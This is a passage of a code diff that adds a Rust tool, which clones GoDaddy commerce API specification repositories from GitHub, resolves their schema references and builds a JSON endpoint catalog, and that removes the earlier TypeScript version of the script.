} + } + } + map +} + +fn include_legacy_location() -> bool { + std::env::var("API_CATALOG_INCLUDE_LEGACY_LOCATION") + .map(|v| v.to_lowercase() != "false") + .unwrap_or(true) +} + +fn discover_spec_sources() -> Result<(Vec, PathBuf)> { + let client = github_client()?; + let all_repos = list_org_repos(&client); + let repo_map: HashMap<&str, &GithubRepo> = + all_repos.iter().map(|r| (r.name.as_str(), r)).collect(); + + let overrides = parse_repo_overrides(); + let ref_overrides = parse_repo_ref_overrides(); + + let mut selected: Vec = if let Some(ov) = overrides { + ov + } else { + let commerce_pattern = regex_is_match_commerce_spec; + let mut names: Vec = all_repos + .iter() + .filter(|r| commerce_pattern(&r.name)) + .map(|r| r.name.clone()) + .collect(); + if names.is_empty() { + eprintln!("WARNING: no commerce specs found via GitHub discovery; using bootstrap list"); + names = BOOTSTRAP_REPOS.iter().map(|s| s.to_string()).collect(); + } + names + }; + + if include_legacy_location() { + for r in LEGACY_REPOS { + if !selected.contains(&r.to_string()) { + selected.push(r.to_string()); + } + } + } + + selected.sort(); + + // Build list of (name, clone_url) filtering out archived/disabled/private + let repos_to_clone: Vec<(String, String)> = selected + .iter() + .filter_map(|name| { + if let Some(r) = repo_map.get(name.as_str()) { + if r.archived || r.disabled || r.private { + return None; + } + Some((name.clone(), r.clone_url.clone())) + } else { + // Not in discovered list — synthesize URL + Some(( + name.clone(), + format!("https://github.com/{GITHUB_ORG}/{name}.git"), + )) + } + }) + .collect(); + + // Create temp directory + let timestamp = std::time::SystemTime::now() + .duration_since(std::time::UNIX_EPOCH) + .unwrap_or_default() + .as_millis(); + let tmpdir = std::env::temp_dir().join(format!("godaddy-api-catalog-{timestamp}")); + std::fs::create_dir_all(&tmpdir).context("failed to create temp dir")?; + + // Clone common-types-specification + let common_types_dir = tmpdir.join("__common-types"); + let ct_url = format!("https://github.com/{GITHUB_ORG}/common-types-specification.git"); + if let Err(e) = clone_repo(&ct_url, &common_types_dir, None) { + eprintln!("WARNING: failed to clone common-types-specification: {e}"); + } + + let mut sources = Vec::new(); + let mut used_domains = HashSet::new(); + + for (repo_name, clone_url) in &repos_to_clone { + let repo_dir = tmpdir.join(repo_name); + let git_ref = ref_overrides.get(repo_name.as_str()).map(String::as_str); + + if let Err(e) = clone_repo(clone_url, &repo_dir, git_ref) { + eprintln!("WARNING: failed to clone {repo_name}: {e}"); + continue; + } + + let Some((version, spec_file, graphql_only)) = find_latest_spec_file(&repo_dir) else { + eprintln!("WARNING: {repo_name} has no versioned spec file — skipping"); + continue; + }; + + let domain = derive_domain(repo_name); + if domain.is_empty() { + eprintln!("WARNING: could not derive domain from '{repo_name}' — skipping"); + continue; + } + if !used_domains.insert(domain.clone()) { + eprintln!("WARNING: duplicate domain '{domain}' from '{repo_name}' — skipping"); + continue; + } + + sources.push(SpecSource { + domain, + repo_name: repo_name.clone(), + spec_file, + spec_version: version, + graphql_only, + }); + } + + Ok((sources, tmpdir)) +} + +fn regex_is_match_commerce_spec(name: &str) -> bool { + // ^commerce\.[a-z0-9-]+-specification$ + if let Some(rest) = name.strip_prefix("commerce.") + && let Some(slug) = rest.strip_suffix("-specification") + { + return !slug.is_empty() + && slug.chars().all(|c| c.is_ascii_lowercase() || c.is_ascii_digit() || c == '-'); + } + false +} + +// --------------------------------------------------------------------------- +// YAML/JSON parsing +// --------------------------------------------------------------------------- + +fn parse_yaml_or_json(src: &str, path: &Path) -> Result { + // serde_yaml handles both YAML and JSON + serde_yaml::from_str(src) + .with_context(|| format!("failed to parse {}", path.display())) +} + +// --------------------------------------------------------------------------- +// $ref resolution +// --------------------------------------------------------------------------- + +fn resolve_local_ref<'a>(root: &'a Value, pointer: &str) -> Option<&'a Value> { + let path = pointer.strip_prefix("#/")?; + let mut cur = root; + for seg in path.split('/') { + let seg = seg.replace("~1", "/").replace("~0", "~"); + cur = cur.get(&seg)?; + } + Some(cur) +} + +fn dereference( + root: &Value, + current: Value, + spec_dir: &Path, + common_types_dir: Option<&Path>, + depth: usize, +) -> Value { + if depth > 64 { + return current; + } + match current { + Value::Object(mut map) => { + if let Some(Value::String(ref_str)) = map.get("$ref").cloned() { + // Resolve the $ref + let resolved = resolve_ref(root, &ref_str, spec_dir, common_types_dir, depth + 1); + return resolved.unwrap_or(Value::Object(map)); + } + // Recurse into all values + for v in map.values_mut() { + *v = dereference(root, v.take(), spec_dir, common_types_dir, depth + 1); + } + Value::Object(map) + } + Value::Array(mut arr) => { + for v in &mut arr { + *v = dereference(root, v.take(), spec_dir, common_types_dir, depth + 1); + } + Value::Array(arr) + } + other => other, + } +} + +fn resolve_ref( + root: &Value, + ref_str: &str, + spec_dir: &Path, + common_types_dir: Option<&Path>, + depth: usize, +) -> Option { + if ref_str.starts_with("#/") { + return resolve_local_ref(root, ref_str).cloned(); + } + + if ref_str.starts_with("https://schemas.api.godaddy.com/") { + let ct_dir = common_types_dir?; + let url_path = ref_str + .strip_prefix("https://schemas.api.godaddy.com") + .unwrap_or("") + .strip_prefix("/common-types") + .unwrap_or(ref_str.strip_prefix("https://schemas.api.godaddy.com").unwrap_or("")); + let local_path = ct_dir.join(url_path.trim_start_matches('/')); + return load_external_ref(&local_path, common_types_dir, depth); + } + + // Relative file reference — strip fragment + let (file_part, fragment) = match ref_str.find('#') { + Some(i) => (&ref_str[..i], Some(&ref_str[i..])), + None => (ref_str, None), + }; + + if file_part.is_empty() { + // Same-file fragment reference + return resolve_local_ref(root, fragment?).cloned(); + } + + let file_path = spec_dir.join(file_part); + let external_root = load_external_ref(&file_path, common_types_dir, depth)?; + + if let Some(frag) = fragment + && !frag.is_empty() + { + return resolve_local_ref(&external_root, frag).cloned(); + } + Some(external_root) +} + +fn load_external_ref(path: &Path, common_types_dir: Option<&Path>, depth: usize) -> Option { + // Normalize path (resolve .. segments) so the common-types check below works on + // paths like ./models/../common-types/v1/schemas/yaml/uuid.yaml + let normalized = normalize_path(path); + let resolved = if normalized.exists() { + normalized.clone() + } else if let Some(fallback) = resolve_common_types_path(&normalized, common_types_dir) { + fallback + } else { + eprintln!("WARNING: cannot read ref file {}: No such file or directory (os error 2)", path.display()); + return None; + }; + + let src = std::fs::read_to_string(&resolved) + .map_err(|e| eprintln!("WARNING: cannot read ref file {}: {e}", resolved.display())) + .ok()?; + let parsed = parse_yaml_or_json(&src, &resolved) + .map_err(|e| eprintln!("WARNING: cannot parse ref file {}: {e}", resolved.display())) + .ok()?; + let dir = resolved.parent().unwrap_or(&resolved); + Some(dereference(&parsed.clone(), parsed, dir, common_types_dir, depth + 1)) +} + +/// Normalize a path by resolving `.` and `..` components without hitting the filesystem. +fn normalize_path(path: &Path) -> PathBuf { + let mut out = PathBuf::new(); + for component in path.components() { + match component { + std::path::Component::ParentDir => { out.pop(); } + std::path::Component::CurDir => {} + c => out.push(c), + } + } + out +} + +/// When a path contains a `common-types` segment and does not exist, try to locate the +/// file in the standalone common-types-specification clone. Mirrors the TypeScript +/// `resolveCommonTypesFile` helper. +fn resolve_common_types_path(path: &Path, common_types_dir: Option<&Path>) -> Option { + let ct_dir = common_types_dir?; + let path_str = path.to_string_lossy(); + let ct_marker = "common-types/"; + let idx = path_str.find(ct_marker)?; + + let rel = &path_str[idx + ct_marker.len()..]; + // 1. Try path as-is relative to the clone root + let direct = ct_dir.join(rel); + if direct.exists() { + return Some(direct); + } + + // 2. Try v1/schemas/{yaml,json}/ (covering both extension variants) + let basename = path.file_name()?; + let basename_str = basename.to_string_lossy(); + let ext = path.extension().and_then(|e| e.to_str()).unwrap_or(""); + let (primary_sub, alt_sub, alt_ext) = if ext == "json" { + ("json", "yaml", "yaml") + } else { + ("yaml", "json", "json") + }; + + let nested = ct_dir.join("v1").join("schemas").join(primary_sub).join(basename_str.as_ref()); + if nested.exists() { + return Some(nested); + } + let stem = path.file_stem()?.to_string_lossy(); + let alt_name = format!("{stem}.{alt_ext}"); + let alt = ct_dir.join("v1").join("schemas").join(alt_sub).join(&alt_name); + if alt.exists() { + return Some(alt); + } + + None +} + +fn load_and_dereference(spec_file: &Path, common_types_dir: Option<&Path>) -> Result { + let src = std::fs::read_to_string(spec_file) + .with_context(|| format!("failed to read {}", spec_file.display()))?; + let parsed = parse_yaml_or_json(&src, spec_file)?; + let spec_dir = spec_file.parent().unwrap_or(spec_file); + let dereffed = dereference(&parsed.clone(), parsed, spec_dir, common_types_dir, 0); + Ok(dereffed) +} + +// --------------------------------------------------------------------------- +// Scope normalization +// --------------------------------------------------------------------------- + +fn normalize_scope(scope: &str) -> String { + let s = scope.trim(); + if s.is_empty() { + return s.to_owned(); + } + + // urn:godaddy:services:commerce.X:Y + if let Some(rest) = s.strip_prefix("urn:godaddy:services:commerce.") + && let Some(colon) = rest.find(':') + { + let domain = rest[..colon].to_lowercase(); + let action = normalize_scope_action(&rest[colon + 1..]); + return format!("commerce.{domain}:{action}"); + } + + // https://uri.godaddy.com/services/commerce/X/Y + if let Some(rest) = s.strip_prefix("https://uri.godaddy.com/services/commerce/") + && let Some(slash) = rest.rfind('/') + { + let domain = rest[..slash].to_lowercase(); + let action = normalize_scope_action(&rest[slash + 1..]); + return format!("commerce.{domain}:{action}"); + } + + // commerce.X:Y — already in target format, just normalize action + let s_lower = s.to_lowercase(); + if let Some(rest) = s_lower.strip_prefix("commerce.") + && let Some(colon) = rest.find(':') + { + let domain = rest[..colon].to_owned(); + let action = normalize_scope_action(&rest[colon + 1..]); + return format!("commerce.{domain}:{action}"); + } + + s.to_owned() +} + +fn normalize_scope_action(action: &str) -> String { + let a = action.trim().to_lowercase(); + if a == "read-write" { "write".to_owned() } else { a } +} + +fn extract_scopes(security: &Value) -> Vec { + let arr = match security.as_array() { + Some(a) => a, + None => return Vec::new(), + }; + let mut scopes = Vec::new(); + for entry in arr { + if let Some(map) = entry.as_object() { + for scope_list in map.values() { + if let Some(list) = scope_list.as_array() { + for s in list { + if let Some(raw) = s.as_str() { + let normalized = normalize_scope(raw); + if !normalized.is_empty() && !scopes.contains(&normalized) { + scopes.push(normalized); + } + } + } + } + } + } + } + scopes +} + +// --------------------------------------------------------------------------- +// OpenAPI processing +// --------------------------------------------------------------------------- + +fn resolve_base_url(servers: &Value) -> String { + let arr = match servers.as_array() { + Some(a) if !a.is_empty() => a, + _ => return String::new(), + }; + let server = &arr[0]; + let mut url = server.get("url").and_then(|v| v.as_str()).unwrap_or("").to_owned(); + if let Some(vars) = server.get("variables").and_then(|v| v.as_object()) { + for (key, var) in vars { + if let Some(default) = var.get("default").and_then(|v| v.as_str()) { + url = url.replace(&format!("{{{key}}}"), default); + } + } + } + url +} + +fn process_parameter(param: &Value) -> Option { + let name = param.get("name")?.as_str()?.to_owned(); + let location = param.get("in")?.as_str()?.to_owned(); + let required = param.get("required").and_then(|v| v.as_bool()).unwrap_or(false); + let description = param.get("description").and_then(|v| v.as_str()).map(str::to_owned); + let schema = param.get("schema").cloned(); + Some(CatalogParameter { name, location, required, description, schema }) +} + +fn process_request_body(rb: &Value) -> Option { + // Skip $ref objects that weren't resolved + if rb.get("$ref").is_some() { + return None; + } + let required = rb.get("required").and_then(|v| v.as_bool()).unwrap_or(false); + let description = rb.get("description").and_then(|v| v.as_str()).map(str::to_owned); + let content = rb.get("content")?.as_object()?; + let content_type = content.keys().next().cloned().unwrap_or_else(|| "application/json".to_owned()); + let schema = content + .get(&content_type) + .and_then(|ct| ct.get("schema")) + .cloned(); + Some(CatalogRequestBody { required, description, content_type, schema }) +} + +fn process_responses(responses: &Value) -> HashMap { + let mut map = HashMap::new(); + let obj = match responses.as_object() { + Some(o) => o, + None => return map, + }; + for (status, resp) in obj { + if resp.get("$ref").is_some() { + map.insert( + status.clone(), + CatalogResponse { + description: format!("See {}", resp["$ref"].as_str().unwrap_or("")), + schema: None, + }, + ); + continue; + } + let description = resp.get("description").and_then(|v| v.as_str()).unwrap_or("").to_owned(); + let schema = resp + .get("content") + .and_then(|c| c.as_object()) + .and_then(|c| c.values().next()) + .and_then(|ct| ct.get("schema")) + .cloned(); + map.insert(status.clone(), CatalogResponse { description, schema }); + } + map +} + +fn operation_id_fallback(method: &str, path: &str) -> String { + let slug: String = path + .chars() + .map(|c| if c.is_ascii_alphanumeric() { c } else { '_' }) + .collect::() + .split('_') + .filter(|s| !s.is_empty()) + .collect::>() + .join("_"); + format!("{method}_{slug}") +} + +#[allow(clippy::too_many_arguments)] +fn process_operation( + _spec: &Value, + spec_file: &Path, + method: &str, + path_str: &str, + operation: &Value, + path_params: &[Value], + common_types_dir: Option<&Path>, + graphql_cache: &mut HashMap, +) -> CatalogEndpoint { + let operation_id = operation + .get("operationId") + .and_then(|v| v.as_str()) + .unwrap_or("") + .to_owned(); + let operation_id = if operation_id.is_empty() { + operation_id_fallback(method, path_str) + } else { + operation_id + }; + + let summary = operation.get("summary").and_then(|v| v.as_str()).unwrap_or("").to_owned(); + let description = operation + .get("description") + .and_then(|v| v.as_str()) + .filter(|s| !s.is_empty()) + .map(str::to_owned); + + // Merge path-level and operation-level parameters + let op_params = operation + .get("parameters") + .and_then(|v| v.as_array()) + .map(|a| a.as_slice()) + .unwrap_or(&[]); + let all_params: Vec<&Value> = path_params.iter().chain(op_params.iter()).collect(); + let parameters: Vec = all_params + .iter() + .filter_map(|p| { + // Skip $ref params that weren't resolved + if p.get("$ref").is_some() { return None; } + process_parameter(p) + }) + .collect(); + let parameters = if parameters.is_empty() { None } else { Some(parameters) }; + + let request_body = operation.get("requestBody").and_then(process_request_body); + let responses = operation + .get("responses") + .map(process_responses) + .unwrap_or_default(); + + let scopes = operation + .get("security") + .map(extract_scopes) + .unwrap_or_default(); + + // GraphQL schema extension + let graphql = operation + .get("x-godaddy-graphql-schema") + .and_then(|v| v.as_str()) + .filter(|s| !s.is_empty()) + .and_then(|schema_ref| { + let spec_dir = spec_file.parent().unwrap_or(spec_file); + let resolved = spec_dir.join(schema_ref); + let cache_key = resolved.to_string_lossy().into_owned(); + if let Some(cached) = graphql_cache.get(&cache_key) { + // Return a clone with original schema_ref + Some(CatalogGraphqlSchema { + schema_ref: schema_ref.to_owned(), + operation_count: cached.operation_count, + operations: cached.operations.iter().map(|op| CatalogGraphqlOperation { + name: op.name.clone(), + kind: op.kind.clone(), + return_type: op.return_type.clone(), + description: op.description.clone(), + deprecated: op.deprecated, + deprecation_reason: op.deprecation_reason.clone(), + args: op.args.iter().map(|a| CatalogGraphqlArgument { + name: a.name.clone(), + arg_type: a.arg_type.clone(), + required: a.required, + description: a.description.clone(), + default_value: a.default_value.clone(), + }).collect(), + }).collect(), + }) + } else { + match load_graphql_schema(&resolved, schema_ref, common_types_dir) { + Ok(gql) => { + graphql_cache.insert(cache_key, CatalogGraphqlSchema { + schema_ref: gql.schema_ref.clone(), + operation_count: gql.operation_count, + operations: gql.operations.iter().map(|op| CatalogGraphqlOperation { + name: op.name.clone(), + kind: op.kind.clone(), + return_type: op.return_type.clone(), + description: op.description.clone(), + deprecated: op.deprecated, + deprecation_reason: op.deprecation_reason.clone(), + args: op.args.iter().map(|a| CatalogGraphqlArgument { + name: a.name.clone(), + arg_type: a.arg_type.clone(), + required: a.required, + description: a.description.clone(), + default_value: a.default_value.clone(), + }).collect(), + }).collect(), + }); + Some(gql) + } + Err(e) => { + eprintln!("WARNING: failed to load GraphQL schema {schema_ref}: {e}"); + None + } + } + } + }); + + CatalogEndpoint { + operation_id, + method: method.to_uppercase(), + path: path_str.to_owned(), + summary, + description, + parameters, + request_body, + responses, + scopes, + graphql, + } +} + +fn process_spec(spec: Value, domain: &str, spec_file: &Path, common_types_dir: Option<&Path>) -> CatalogDomain { + let base_url = spec + .get("servers") + .map(resolve_base_url) + .unwrap_or_default(); + + let title = spec + .get("info") + .and_then(|i| i.get("title")) + .and_then(|v| v.as_str()) + .unwrap_or(domain) + .to_owned(); + + let description = spec + .get("info") + .and_then(|i| i.get("description")) + .and_then(|v| v.as_str()) + .unwrap_or("") + .to_owned(); + + let version = spec + .get("info") + .and_then(|i| i.get("version")) + .and_then(|v| v.as_str()) + .unwrap_or("") + .to_owned(); + + let mut endpoints = Vec::new(); + let mut graphql_cache: HashMap = HashMap::new(); + + if let Some(paths) = spec.get("paths").and_then(|v| v.as_object()) { + for (path_str, path_item) in paths { + let path_params: Vec = path_item + .get("parameters") + .and_then(|v| v.as_array()) + .cloned() + .unwrap_or_default(); + + for method in HTTP_METHODS { + if let Some(operation) = path_item.get(*method) { + endpoints.push(process_operation( + &spec, + spec_file, + method, + path_str, + operation, + &path_params, + common_types_dir, + &mut graphql_cache, + )); + } + } + } + } + + CatalogDomain { name: domain.to_owned(), title, description, version, base_url, endpoints } +} + +// --------------------------------------------------------------------------- +// GraphQL parsing +// --------------------------------------------------------------------------- + +fn load_graphql_schema( + path: &Path, + schema_ref: &str, + _common_types_dir: Option<&Path>, +) -> Result { + let src = std::fs::read_to_string(path) + .with_context(|| format!("cannot read GraphQL schema {}", path.display()))?; + + let operations = parse_graphql_operations(&src).unwrap_or_else(|e| { + eprintln!( + "WARNING: failed to parse GraphQL schema {}: {e}", + path.display() + ); + Vec::new() + }); + + Ok(CatalogGraphqlSchema { + schema_ref: schema_ref.to_owned(), + operation_count: operations.len(), + operations, + }) +} + +fn parse_graphql_operations(source: &str) -> Result> { + use graphql_parser::schema::{Definition, TypeDefinition}; + + let doc = graphql_parser::parse_schema::(source) + .map_err(|e| anyhow::anyhow!("GraphQL parse error: {e}"))?; + + let mut operations: Vec = Vec::new(); + + for def in &doc.definitions { + let type_def = match def { + Definition::TypeDefinition(td) => td, + _ => continue, + }; + let obj = match type_def { + TypeDefinition::Object(o) => o, + _ => continue, + }; + let kind = match obj.name.as_str() { + "Query" => "query", + "Mutation" => "mutation", + _ => continue, + }; + + for field in &obj.fields { + let deprecated = field + .directives + .iter() + .any(|d| d.name == "deprecated"); + let deprecation_reason = field + .directives + .iter() + .find(|d| d.name == "deprecated") + .and_then(|d| d.arguments.iter().find(|(k, _)| k == "reason")) + .and_then(|(_, v)| { + if let graphql_parser::query::Value::String(s) = v { + Some(s.clone()) + } else { + None + } + }); + + let args: Vec = field + .arguments + .iter() + .map(|arg| { + let type_str = graphql_type_to_string(&arg.value_type); + let required = matches!( + arg.value_type, + graphql_parser::schema::Type::NonNullType(_) + ) && arg.default_value.is_none(); + let default_value = arg.default_value.as_ref().map(|v| format!("{v}")); + CatalogGraphqlArgument { + name: arg.name.clone(), + arg_type: type_str, + required, + description: arg.description.clone(), + default_value, + } + }) + .collect(); + + operations.push(CatalogGraphqlOperation { + name: field.name.clone(), + kind: kind.to_owned(), + return_type: graphql_type_to_string(&field.field_type), + description: field.description.clone(), + deprecated, + deprecation_reason, + args, + }); + } + } + + // Sort: queries before mutations, then alphabetical + operations.sort_by(|a, b| { + if a.kind == b.kind { + a.name.cmp(&b.name) + } else if a.kind == "query" { + std::cmp::Ordering::Less + } else { + std::cmp::Ordering::Greater + } + }); + + Ok(operations) +} + +fn graphql_type_to_string<'a, T: graphql_parser::query::Text<'a>>( + t: &graphql_parser::schema::Type<'a, T>, +) -> String +where + T::Value: std::fmt::Display, +{ + use graphql_parser::schema::Type; + match t { + Type::NamedType(name) => name.as_ref().to_string(), + Type::NonNullType(inner) => format!("{}!", graphql_type_to_string(inner.as_ref())), + Type::ListType(inner) => format!("[{}]", graphql_type_to_string(inner.as_ref())), + } +} + +// --------------------------------------------------------------------------- +// GraphQL-only domain synthesis +// --------------------------------------------------------------------------- + +fn synthesize_graphql_domain(source: &SpecSource, common_types_dir: Option<&Path>) -> CatalogDomain { + let gql = load_graphql_schema(&source.spec_file, "./schema.graphql", common_types_dir) + .unwrap_or_else(|e| { + eprintln!("WARNING: failed to load GraphQL schema for {}: {e}", source.domain); + CatalogGraphqlSchema { + schema_ref: "./schema.graphql".to_owned(), + operation_count: 0, + operations: Vec::new(), + } + }); + + let op_count = gql.operation_count; + CatalogDomain { + name: source.domain.clone(), + title: format!("{} GraphQL API", source.domain), + description: format!("GraphQL API with {op_count} operations"), + version: source.spec_version.strip_prefix('v').unwrap_or(&source.spec_version).to_owned(), + base_url: String::new(), + endpoints: vec![CatalogEndpoint { + operation_id: "graphql".to_owned(), + method: "POST".to_owned(), + path: "/graphql".to_owned(), + summary: "GraphQL API".to_owned(), + description: Some(format!("GraphQL endpoint with {op_count} operations")), + parameters: None, + request_body: None, + responses: { + let mut r = HashMap::new(); + r.insert("200".to_owned(), CatalogResponse { + description: "GraphQL response".to_owned(), + schema: None, + }); + r + }, + scopes: Vec::new(), + graphql: Some(gql), + }], + } +} + +// --------------------------------------------------------------------------- +// Stale file removal +// --------------------------------------------------------------------------- + +fn remove_stale_json(output_dir: &Path, active: &HashSet) -> Result<()> { + for entry in std::fs::read_dir(output_dir).context("failed to read output dir")? { + let entry = entry.context("dir entry error")?; + let name = entry.file_name().to_string_lossy().into_owned(); + if name == "manifest.json" || !name.ends_with(".json") { + continue; + } + if !active.contains(&name) { + std::fs::remove_file(entry.path()) + .with_context(|| format!("failed to remove stale {name}"))?; + eprintln!("Removed stale: {name}"); + } + } + Ok(()) +} + +// --------------------------------------------------------------------------- +// Output directory resolution +// --------------------------------------------------------------------------- + +fn resolve_output_dir() -> PathBuf { + // CARGO_MANIFEST_DIR resolves to rust/tools/generate-api-catalog at build time + let manifest_dir = PathBuf::from(env!("CARGO_MANIFEST_DIR")); + manifest_dir.join("../../schemas/api") +} + +// --------------------------------------------------------------------------- +// Main +// --------------------------------------------------------------------------- + +fn main() -> Result<()> { + let output_dir = resolve_output_dir(); + std::fs::create_dir_all(&output_dir).context("failed to create output dir")?; + + eprintln!("Discovering specification repositories..."); + let (sources, tmpdir) = discover_spec_sources()?; + + if sources.is_empty() { + bail!("no specification repositories discovered — refusing to overwrite catalog output"); + } + + let ct_dir = tmpdir.join("__common-types"); + let common_types: Option<&Path> = if ct_dir.exists() { Some(&ct_dir) } else { None }; + + let mut manifest = CatalogManifest { + generated: chrono::Utc::now().to_rfc3339(), + domains: HashMap::new(), + }; + let mut active_files: HashSet = HashSet::new(); + let mut total_endpoints = 0usize; + + for source in &sources { + eprintln!( + "Processing {} ({}/{})...", + source.domain, source.repo_name, source.spec_version + ); + + let catalog = if source.graphql_only { + synthesize_graphql_domain(source, common_types) + } else { + let spec = load_and_dereference(&source.spec_file, common_types) + .with_context(|| format!("failed to dereference {}", source.repo_name))?; + process_spec(spec, &source.domain, &source.spec_file, common_types) + }; + + let filename = format!("{}.json", source.domain); + let out_path = output_dir.join(&filename); + let json = serde_json::to_string_pretty(&catalog) + .context("failed to serialize catalog domain")?; + std::fs::write(&out_path, &json) + .with_context(|| format!("failed to write {}", out_path.display()))?; + + let ep_count = catalog.endpoints.len(); + eprintln!(" {} endpoints from {} v{}", ep_count, catalog.title, catalog.version); + total_endpoints += ep_count; + + manifest.domains.insert( + source.domain.clone(), + ManifestEntry { + file: filename.clone(), + title: catalog.title, + endpoint_count: ep_count, + }, + ); + active_files.insert(filename); + } + + // Remove stale *.json files + remove_stale_json(&output_dir, &active_files)?; + + // Write manifest + let manifest_path = output_dir.join("manifest.json"); + let manifest_json = serde_json::to_string_pretty(&manifest).context("failed to serialize manifest")?; + std::fs::write(&manifest_path, &manifest_json) + .with_context(|| format!("failed to write {}", manifest_path.display()))?; + + // Cleanup temp dir + if let Err(e) = std::fs::remove_dir_all(&tmpdir) { + eprintln!("WARNING: failed to clean up temp dir {}: {e}", tmpdir.display()); + } + + eprintln!( + "\nGenerated API catalog: {} domains, {total_endpoints} endpoints", + manifest.domains.len() + ); + + Ok(()) +} diff --git a/scripts/generate-api-catalog.ts b/scripts/generate-api-catalog.ts deleted file mode 100644 index 7f901c4..0000000 --- a/scripts/generate-api-catalog.ts +++ /dev/null @@ -1,1467 +0,0 @@ -/** - * Build-time script: discovers OpenAPI specs from gdcorp-platform repositories - * and produces a JSON catalog that the CLI bundles for: - * - godaddy api list - * - godaddy api describe - * - * Also resolves external $ref URLs (e.g. schemas.api.godaddy.com) at build time - * so the CLI catalog is fully self-contained. - * - * Usage: - * pnpm tsx scripts/generate-api-catalog.ts - * - * Optional environment variables: - * GITHUB_TOKEN GitHub token for higher API rate limits - * API_CATALOG_REPOS Comma-separated repo names to include - * (e.g. "commerce.catalog-products-specification,commerce.orders-specification") - * API_CATALOG_REPO_REFS Optional comma-separated repo=gitRef overrides - * (e.g. "commerce.catalog-products-specification=pull/81/head") - * API_CATALOG_INCLUDE_LEGACY_LOCATION - * "false" to exclude location.addresses-specification - * - * Output: - * src/cli/schemas/api/manifest.json – domain index - * src/cli/schemas/api/.json – per-domain endpoint catalog - * src/cli/schemas/api/registry.generated.ts – generated runtime registry - */ - -import { execFileSync } from "node:child_process"; -import * as fs from "node:fs"; -import * as os from "node:os"; -import * as path from "node:path"; -import { fileURLToPath } from "node:url"; -import $RefParser from "@apidevtools/json-schema-ref-parser"; -import type { ParserOptions } from "@apidevtools/json-schema-ref-parser"; -import { - Kind, - type TypeNode, - parse as parseGraphql, - print as printGraphql, -} from "graphql"; -import { parse as parseYamlStrict } from "yaml"; - -/** Parse YAML with lenient settings (duplicate keys: last wins). */ -function parseYaml(src: string): unknown { - return parseYamlStrict(src, { uniqueKeys: false }); -} - -// --------------------------------------------------------------------------- -// Types -// --------------------------------------------------------------------------- - -interface OpenApiParameter { - name: string; - in: string; - required?: boolean; - description?: string; - schema?: Record; -} - -interface OpenApiReference { - $ref: string; -} - -interface OpenApiRequestBody { - description?: string; - required?: boolean; - content?: Record }>; -} - -interface OpenApiResponse { - description?: string; - content?: Record }>; -} - -interface OpenApiOperation { - operationId?: string; - summary?: string; - description?: string; - parameters?: Array; - requestBody?: OpenApiRequestBody | OpenApiReference; - responses?: Record; - security?: Array>; - "x-godaddy-graphql-schema"?: string; -} - -interface OpenApiPathItem { - [method: string]: - | OpenApiOperation - | Array - | undefined; - parameters?: Array; -} - -interface OpenApiServer { - url: string; - variables?: Record; -} - -interface OpenApiSpec { - openapi: string; - info: { - title: string; - description?: string; - version: string; - contact?: Record; - }; - paths: Record; - servers?: OpenApiServer[]; - components?: Record; -} - -// --------------------------------------------------------------------------- -// Output types — what the CLI consumes at runtime -// --------------------------------------------------------------------------- - -interface CatalogGraphqlArgument { - name: string; - type: string; - required: boolean; - description?: string; - defaultValue?: string; -} - -interface CatalogGraphqlOperation { - name: string; - kind: "query" | "mutation"; - returnType: string; - description?: string; - deprecated: boolean; - deprecationReason?: string; - args: CatalogGraphqlArgument[]; -} - -interface CatalogGraphqlSchema { - schemaRef: string; - operationCount: number; - operations: CatalogGraphqlOperation[]; -} - -interface CatalogEndpoint { - operationId: string; - method: string; - path: string; - summary: string; - description?: string; - parameters?: Array<{ - name: string; - in: string; - required: boolean; - description?: string; - schema?: Record; - }>; - requestBody?: { - required: boolean; - description?: string; - contentType: string; - schema?: Record; - }; - responses: Record< - string, - { - description: string; - schema?: Record; - } - >; - scopes: string[]; - graphql?: CatalogGraphqlSchema; -} - -interface CatalogDomain { - name: string; - title: string; - description: string; - version: string; - baseUrl: string; - endpoints: CatalogEndpoint[]; -} - -interface CatalogManifest { - generated: string; - domains: Record< - string, - { - file: string; - title: string; - endpointCount: number; - } - >; -} - -interface GitHubRepo { - name: string; - cloneUrl: string; - archived: boolean; - disabled: boolean; - private: boolean; -} - -interface SpecSource { - domain: string; - repoName: string; - specFile: string; - specVersion: string; - graphqlOnly?: boolean; -} - -interface DiscoveredSpecSources { - sources: SpecSource[]; - cloneRoot: string | null; -} - -// --------------------------------------------------------------------------- -// Discovery configuration -// --------------------------------------------------------------------------- - -const __dirname = path.dirname(fileURLToPath(import.meta.url)); -const PROJECT_ROOT = path.resolve(__dirname, ".."); -const OUTPUT_DIR = path.resolve(PROJECT_ROOT, "src/cli/schemas/api"); -const REGISTRY_FILE = path.join(OUTPUT_DIR, "registry.generated.ts"); - -const GITHUB_ORG = "gdcorp-platform"; -const GITHUB_API_BASE = "https://api.github.com"; -const GITHUB_REPOS_PAGE_SIZE = 100; -const COMMERCE_SPEC_REPO_PATTERN = /^commerce\.[a-z0-9-]+-specification$/; -const BOOTSTRAP_COMMERCE_REPOS = [ - "commerce.bulk-operations-specification", - "commerce.businesses-specification", - "commerce.catalog-products-specification", - "commerce.channels-specification", - "commerce.chargebacks-specification", - "commerce.customer-profiles-specification", - "commerce.fulfillments-specification", - "commerce.metafields-specification", - "commerce.onboarding-specification", - "commerce.orders-specification", - "commerce.payment-requests-specification", - "commerce.payments-specification", - "commerce.price-adjustments-specification", - "commerce.recommendations-specification", - "commerce.shipping-specification", - "commerce.stores-specification", - "commerce.subscriptions-specification", - "commerce.taxes-specification", - "commerce.transactions-specification", -]; -const LEGACY_ALWAYS_INCLUDE_REPOS = ["location.addresses-specification"]; - -// --------------------------------------------------------------------------- -// $ref resolution via json-schema-ref-parser -// --------------------------------------------------------------------------- - -/** - * Path to the cloned common-types-specification repo, set during discovery. - * Used by the custom resolver to map https://schemas.api.godaddy.com URLs - * to local files. - */ -let commonTypesLocalDir: string | null = null; - -/** - * Dereference an OpenAPI spec file, resolving all $ref pointers in-place. - * Uses json-schema-ref-parser with a custom resolver that maps - * https://schemas.api.godaddy.com/common-types/... to local files. - */ -/** - * Given a file path containing "common-types", try to find the actual file - * in the local common-types clone. Handles multiple path patterns used across - * repos: - * - ./common-types/v1/schemas/yaml/foo.yaml (full nested path) - * - ./common-types/foo.json (flat shortcut) - */ -function resolveCommonTypesFile(filePath: string): string | null { - if (!commonTypesLocalDir) return null; - - const basename = path.basename(filePath); - const ext = path.extname(basename).toLowerCase(); - - // Try the path as-is relative to common-types root - // e.g. common-types/v1/schemas/yaml/foo.yaml - const idx = filePath.indexOf("common-types"); - if (idx >= 0) { - const relPath = filePath.slice(idx + "common-types/".length); - const direct = 